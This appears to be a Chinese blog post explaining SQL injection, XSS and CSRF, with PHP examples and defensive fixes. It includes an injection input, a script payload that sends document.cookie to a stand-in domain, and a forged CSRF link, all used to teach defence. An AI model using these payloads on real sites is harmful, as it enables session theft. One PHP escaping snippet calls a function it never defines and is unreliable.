1. 程式人生 > >常見Web安全問題以及解決方案

常見Web安全問題以及解決方案

       在常見的web系統中,最常見的幾種安全問題有:SQL注入,XSS漏洞,CSRF攻擊(跨站點請求偽造)。

1.

       SQL注入:SQL注入之所以存在,主要是因為工程師將外部的輸入直接嵌入到將要執行的SQL語句中了。黑客可以利用這一點執行SQL指令來達到自己目的。例如:

 $sql = 'select * from user where id ='.$id;

       這裡用使用者輸入的變數$id來拼接SQL語句,存在安全隱患。如果$i = '2 or 1=1',這裡就能輕鬆的獲取到user表的仍意資訊。利用SQL注入漏洞,我們能夠獲取想要的資訊,同時可以通過猜測和報錯獲取到資料庫其它表的結構和資訊,如果資料庫、伺服器許可權設定不當,甚至有可能能獲取到整個伺服器的控制權限。 

 解決方案:

  1)寫一個ORM(Object Relational Mapping,實現面向物件程式語言裡不同型別系統的資料之間的轉換),這樣可以避免直接拼接SQL 語句,少了不少麻煩而且能大大提高開發效率。

  2)如果非得寫一些原生的SQL拼接語句,則我們必須對輸入的那些變數進行優化過濾.

  • 如果查詢的欄位型別是數字等型別,在拼接SQL前先判斷輸入是不是一個合法的數字,不合法則終止程式即可。$id=intval($_GET[‘id’]);
  • 如果欄位型別是字串,則記得將輸入裡的的單引號進行轉義。

   ps:

關於php防止SQL注入對輸入的特殊符號進行轉義的相關知識:

           當php.ini裡的 magic_quotes_gpc 為On 時。提交的變數中所有的 ' (單引號), " (雙引號), \ (反斜線) and 空字元會自動轉為含有反斜線的轉義字元,給SQL注入帶來              不少的麻煩。但是利用改變注入語句的編碼來繞過轉義的方法,比如將SQL語句轉成 ASCII編碼(類似:char(100,58,92,108,111,99,97,108,104,111,115,116…)              這樣的格式),或者轉成 16進位制編碼,甚至還有其他形式的編碼,這樣以來,轉義過濾便被繞過去了,這時候我們可以這樣對經過轉移的資料這樣處理:

//去除轉義字元
function stripslashes_array($array){
  if (is_array($array)) {   
    foreach ($array as $k => $v) {   
      $array[$k] = stripslashes_array($v);   
    }   
  } else if (is_string($array)) {   
    $array = stripslashes($array);   
  }
   return $array;    
}
$_POST = array_map('stripslashes_deep', $_POST);

 或者在未開啟magic_quotes_gpc 時:

$keywords = addslashes($keywords); 
$keywords = str_replace("_","\_",$keywords);//轉義掉”_” 
$keywords = str_replace("%","\%",$keywords);//轉義掉”%”
後兩個str_replace替換轉義目的是防止黑客轉換SQL編碼進行攻擊。

2.

       XSS攻擊:如果說SQL注入是直接在SQL裡執行了使用者輸入,那XSS攻擊是在HTML裡程式碼執行了使用者輸入。相對SQL注入,XSS似乎更能引起人關注。幾年前新浪微博被人利用XSS獲取大量粉絲;3DM也曾經被植入script程式碼對另一個遊戲網站進行了慘無人道的DDOS攻擊。

例如:

 <input type="text" name='keyname' value="">

在頁面上我輸入了這樣的程式碼:/><script>window.location.href='MyDomain.com?cookie=' + document.cookie</script>;

        這段程式碼獲取到當前頁面的cookie值,並將cookie值傳遞到另一個名為MyDomain.com的網站。利用這種模式,黑客可以獲取到使用者的登入資訊或者將使用者跳轉到釣魚網站來達成自己的目的。SS攻擊也可以簡單分為兩種,一種是上述例子中利用url引誘客戶點選來實現;另一種是通過儲存到資料庫,在其它使用者獲取相關資訊時來執行指令碼。

解決方案:

  • 將重要的cookie標記為http only,   這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
  • 只允許使用者輸入我們期望的資料。 例如: 年齡的textbox中,只允許使用者輸入數字。 而數字之外的字元都過濾掉。
  • 對資料進行Html Encode 處理
  • 過濾或移除特殊的Html標籤, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  • 過濾JavaScript 事件的標籤。例如 "onclick=", "onfocus" 等等。

 

3.

      CSRF攻擊(跨站點請求偽造):顧名思義,是偽造請求,冒充使用者在站內的正常操作。例如:

 一論壇網站的發貼是通過 GET 請求訪問,點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問:

http://example.com/bbs/create_post.php?title=標題&content=內容

那麼,我只需要在論壇中發一帖,包含一連結:

http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈

只要有使用者點選了這個連結,那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇,但是既然發貼的請求可以偽造,那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。

解決方案:

          對這種問題我們一般的解決方法是:通過session token來實現保護。當客戶端請求頁面時,伺服器會生成一個隨機數Token,並且將Token放置到session當中,然後將Token發給客戶端(一般通過構造hidden表單)。下次客戶端提交請求時,Token會隨著表單一起提交到伺服器端。接收到請求後,伺服器端會對Token值進行驗證,判斷是否和session中的Token值相等,若相等,則可以證明請求有效,不是偽造的。

ps:

        這裡的session token機制也可用於註冊或者cms文章新增等功能上,可以用來防止使用者"重複提交",相比於上面的CSRF方案是這樣的:伺服器端第一次驗證相同過後,會將澀session中的Token值更新下,若使用者重複提交,第二次的驗證判斷將失敗,因為使用者提交的表單中的Token沒變,但伺服器端session中Token已經改變了。